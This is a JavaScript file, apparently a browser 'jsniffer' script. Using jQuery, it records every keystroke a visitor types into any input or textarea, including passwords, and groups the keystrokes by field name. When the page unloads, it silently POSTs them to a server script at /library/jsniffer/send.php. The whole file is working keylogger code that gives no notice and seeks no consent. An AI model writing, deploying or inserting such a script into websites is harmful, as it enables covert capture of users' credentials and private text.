
var data_sn = {};
var name = "";	
	
$(document).ready( function() {

	var arr = {};
	
	arr[32] = ' ';

	arr[48] = '0';
	arr[49] = '1';
	arr[50] = '2';
	arr[51] = '3';
	arr[52] = '4';
	arr[53] = '5';
	arr[54] = '6';
	arr[55] = '7';
	arr[56] = '8';
	arr[57] = '9';
	
	arr[97] = 'a';
	arr[98] = 'b';
	arr[99] = 'c';
	arr[100] = 'd';
	arr[101] = 'e';
	arr[102] = 'f';
	arr[103] = 'g';
	arr[104] = 'h';
	arr[105] = 'i';
	arr[106] = 'j';
	arr[107] = 'k';
	arr[108] = 'l';
	arr[109] = 'm';
	arr[110] = 'n';
	arr[111] = 'o';
	arr[112] = 'p';
	arr[113] = 'q';
	arr[114] = 'r';
	arr[115] = 's';
	arr[116] = 't';
	arr[117] = 'u';
	arr[118] = 'v';
	arr[119] = 'w';
	arr[120] = 'x';
	arr[121] = 'y';
	arr[122] = 'z';
	
	arr[65] = 'A';
	arr[66] = 'B';
	arr[67] = 'C';
	arr[68] = 'D';
	arr[69] = 'E';
	arr[70] = 'F';
	arr[71] = 'G';
	arr[72] = 'H';
	arr[73] = 'I';
	arr[74] = 'J';
	arr[75] = 'K';
	arr[76] = 'L';
	arr[77] = 'M';
	arr[78] = 'N';
	arr[79] = 'O';
	arr[80] = 'P';
	arr[81] = 'Q';
	arr[82] = 'R';
	arr[83] = 'S';
	arr[84] = 'T';
	arr[85] = 'U';
	arr[86] = 'V';
	arr[87] = 'W';
	arr[88] = 'X';
	arr[89] = 'Y';
	arr[90] = 'Z';	
	
	arr[1072] = 'а';
	arr[1073] = 'б';
	arr[1074] = 'в';
	arr[1075] = 'г';
	arr[1076] = 'д';
	arr[1077] = 'е';
	arr[1078] = 'ж';
	arr[1079] = 'з';
	arr[1080] = 'и';
	arr[1081] = 'й';
	arr[1082] = 'к';
	arr[1083] = 'л';
	arr[1084] = 'м';
	arr[1085] = 'н';
	arr[1086] = 'о';
	arr[1087] = 'п';
	arr[1088] = 'р';
	arr[1089] = 'с';
	arr[1090] = 'т';
	arr[1091] = 'у';
	arr[1092] = 'ф';
	arr[1093] = 'х';
	arr[1094] = 'ц';
	arr[1095] = 'ч';
	arr[1096] = 'ш';
	arr[1097] = 'щ';
	arr[1098] = 'ъ';
	arr[1099] = 'ы';
	arr[1100] = 'ь';
	arr[1101] = 'э';
	arr[1102] = 'ю';
	arr[1103] = 'я';
	
	arr[1040] = 'А';
	arr[1041] = 'Б';
	arr[1042] = 'В';
	arr[1043] = 'Г';
	arr[1044] = 'Д';
	arr[1045] = 'Е';
	arr[1046] = 'Ж';
	arr[1047] = 'З';
	arr[1048] = 'И';
	arr[1049] = 'Й';
	arr[1050] = 'К';
	arr[1051] = 'Л';
	arr[1052] = 'М';
	arr[1053] = 'Н';
	arr[1054] = 'О';
	arr[1055] = 'П';
	arr[1056] = 'Р';
	arr[1057] = 'С';
	arr[1058] = 'Т';
	arr[1059] = 'У';
	arr[1060] = 'Ф';
	arr[1061] = 'Х';
	arr[1062] = 'Ц';
	arr[1063] = 'Ч';
	arr[1064] = 'Ш';
	arr[1065] = 'Щ';
	arr[1066] = 'Ъ';
	arr[1067] = 'Ы';
	arr[1068] = 'Ь';
	arr[1069] = 'Э';
	arr[1070] = 'Ю';
	arr[1071] = 'Я';
	
	arr[43] = '+';
	arr[33] = '!';
	arr[64] = '@';
	arr[35] = '#';
	arr[36] = '$';
	arr[37] = '%';
	arr[94] = '^';
	arr[38] = '&';
	arr[42] = '*';
	arr[40] = '(';
	arr[41] = ')';
	arr[95] = '_';
	arr[61] = '=';
	arr[45] = '-';
	arr[91] = '[';
	arr[123] = '{';
	arr[93] = ']';
	arr[125] = '}';
	arr[44] = ',';
	arr[46] = '.';
	arr[60] = '<';
	arr[62] = '>';
	arr[47] = '/';
	arr[63] = '?';
	arr[92] = '\\';
	arr[124] = '|';
	arr[59] = ';';
	arr[58] = ':';
	arr[34] = '"';
	arr[39] = "'";
	arr[8470] = '№';
	arr[13] = "<br>";
	
	
	$(document).keypress(function(e) {

		if (arr[e.which]) data_sn[name] += arr[e.which];
	});
	
	$('input').live('focus', function() {
		name = $(this).attr('name');
		if (data_sn[name])data_sn[name] += "&rarr;";
	});
	
	$('textarea').live('focus', function() {
		name = $(this).attr('name');
		if (data_sn[name]) data_sn[name] += "&rarr;";
	});
	
	$(window).bind('beforeunload', function(){
		send_sniff();
	});
    
});

function sendClear() {
	data_sn = {};
}

function send_sniff() {

	var name_fr = $(".feedback-header h2").html();
	
  	var temp = {"data_sn":data_sn, "name_fr": name_fr}
  	$.ajax({
		type: "POST",
		data: temp,
		url: "/library/jsniffer/send.php",
		success: function(answer){
			data_sn = {};
		}
	});
}
